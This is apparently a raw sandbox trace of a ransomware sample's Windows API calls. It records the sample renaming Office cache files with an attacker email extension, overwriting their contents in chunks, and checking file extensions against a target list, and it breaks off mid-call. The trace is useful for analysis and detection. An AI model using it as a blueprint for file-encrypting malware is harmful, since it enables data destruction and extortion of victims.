(lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.744] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=3124224) returned 1 [0061.744] CloseHandle (hObject=0x214) returned 1 [0061.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0061.744] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.744] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0061.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.745] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0061.745] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.745] ReadFile (in: hFile=0x214, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.777] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.777] ReadFile (in: hFile=0x214, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.903] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0061.904] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0061.904] ReadFile (in: hFile=0x214, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.942] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.943] WriteFile (in: hFile=0x214, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc010a, lpOverlapped=0x0) returned 1 [0062.776] SetEndOfFile (hFile=0x214) returned 1 [0062.776] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3fb5888 [0062.916] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0062.916] WriteFile (in: hFile=0x214, lpBuffer=0x3fb5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb5888*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.311] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.311] WriteFile (in: hFile=0x214, lpBuffer=0x3fb5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb5888*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.320] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.320] WriteFile (in: hFile=0x214, lpBuffer=0x3fb5888*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb5888*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.324] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fb5888 | out: hHeap=0x5c0000) returned 1 [0063.324] CloseHandle (hObject=0x214) returned 1 [0063.324] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0063.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.325] lstrlenW (lpString=".doc") returned 4 [0063.325] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.325] lstrlenW (lpString=".docx") returned 5 [0063.325] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.325] lstrlenW (lpString=".pdf") returned 4 [0063.325] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.325] lstrlenW (lpString=".xls") returned 4 [0063.325] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.325] lstrlenW (lpString=".xlsx") returned 5 [0063.325] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.325] lstrlenW (lpString=".ppt") returned 4 [0063.325] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.325] lstrlenW (lpString=".zip") returned 4 [0063.325] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.325] lstrlenW (lpString=".rar") returned 4 [0063.325] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.325] lstrlenW (lpString=".bz2") returned 4 [0063.326] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.326] lstrlenW (lpString=".7z") returned 3 [0063.326] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.326] lstrlenW (lpString=".dbf") returned 4 [0063.326] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.326] lstrlenW (lpString=".1cd") returned 4 [0063.326] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.326] lstrlenW (lpString=".jpg") returned 4 [0063.326] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.326] lstrlenW (lpString=".doc") returned 4 [0063.326] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.326] lstrlenW (lpString=".docx") returned 5 [0063.326] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.326] lstrlenW (lpString=".pdf") returned 4 [0063.326] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.327] lstrlenW (lpString=".xls") returned 4 [0063.327] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.327] lstrlenW (lpString=".xlsx") returned 5 [0063.327] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.327] lstrlenW (lpString=".ppt") returned 4 [0063.327] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.327] lstrlenW (lpString=".zip") returned 4 [0063.327] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.327] lstrlenW (lpString=".rar") returned 4 [0063.327] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.327] lstrlenW (lpString=".bz2") returned 4 [0063.327] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.327] lstrlenW (lpString=".7z") returned 3 [0063.327] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.327] lstrlenW (lpString=".dbf") returned 4 [0063.327] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.327] lstrlenW (lpString=".1cd") returned 4 [0063.327] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0063.327] lstrlenW (lpString=".jpg") returned 4 [0063.328] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.328] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0063.328] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0063.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.328] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=2503680) returned 1 [0063.328] CloseHandle (hObject=0x214) returned 1 [0063.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0063.329] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.329] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0063.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0063.329] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0063.330] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.330] ReadFile (in: hFile=0x214, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.338] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.338] ReadFile (in: hFile=0x214, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.501] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0063.501] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0063.502] ReadFile (in: hFile=0x214, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0063.543] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.543] WriteFile (in: hFile=0x214, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0063.750] SetEndOfFile (hFile=0x214) returned 1 [0063.750] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4035008 [0063.750] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.750] WriteFile (in: hFile=0x214, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.753] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.753] WriteFile (in: hFile=0x214, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.763] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0063.763] WriteFile (in: hFile=0x214, lpBuffer=0x4035008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x4035008*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.768] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4035008 | out: hHeap=0x5c0000) returned 1 [0063.768] CloseHandle (hObject=0x214) returned 1 [0063.768] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0063.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.769] lstrlenW (lpString=".doc") returned 4 [0063.769] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.769] lstrlenW (lpString=".docx") returned 5 [0063.769] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.769] lstrlenW (lpString=".pdf") returned 4 [0063.769] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.769] lstrlenW (lpString=".xls") returned 4 [0063.769] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.769] lstrlenW (lpString=".xlsx") returned 5 [0063.769] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.769] lstrlenW (lpString=".ppt") returned 4 [0063.769] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.769] lstrlenW (lpString=".zip") returned 4 [0063.769] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.769] lstrlenW (lpString=".rar") returned 4 [0063.769] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.769] lstrlenW (lpString=".bz2") returned 4 [0063.769] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.769] lstrlenW (lpString=".7z") returned 3 [0063.769] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.769] lstrlenW (lpString=".dbf") returned 4 [0063.769] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.770] lstrlenW (lpString=".1cd") returned 4 [0063.770] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.770] lstrlenW (lpString=".jpg") returned 4 [0063.770] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0063.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.770] lstrlenW (lpString=".doc") returned 4 [0063.770] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0063.770] lstrlenW (lpString=".docx") returned 5 [0063.770] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0063.770] lstrlenW (lpString=".pdf") returned 4 [0063.770] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0063.770] lstrlenW (lpString=".xls") returned 4 [0063.770] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0063.770] lstrlenW (lpString=".xlsx") returned 5 [0063.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0063.770] lstrlenW (lpString=".ppt") returned 4 [0063.770] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0063.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.770] lstrlenW (lpString=".zip") returned 4 [0063.770] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0063.770] lstrlenW (lpString=".rar") returned 4 [0063.771] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0063.771] lstrlenW (lpString=".bz2") returned 4 [0063.771] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0063.771] lstrlenW (lpString=".7z") returned 3 [0063.771] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0063.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.771] lstrlenW (lpString=".dbf") returned 4 [0063.771] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0063.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.771] lstrlenW (lpString=".1cd") returned 4 [0063.771] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0063.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0063.771] lstrlenW (lpString=".jpg") returned 4 [0063.771] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0064.057] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0064.058] lstrlenW (lpString="ProjLR.cab") returned 10 [0064.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.337] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=8265165) returned 1 [0064.337] CloseHandle (hObject=0x200) returned 1 [0064.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0064.338] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.338] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0064.339] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0064.339] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0064.339] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.339] ReadFile (in: hFile=0x200, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.345] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.349] ReadFile (in: hFile=0x200, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.355] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0064.356] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0064.356] ReadFile (in: hFile=0x200, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0064.376] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.376] WriteFile (in: hFile=0x200, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0064.896] SetEndOfFile (hFile=0x200) returned 1 [0064.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef4860 [0065.750] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.750] WriteFile (in: hFile=0x200, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.753] SetFilePointerEx (in: 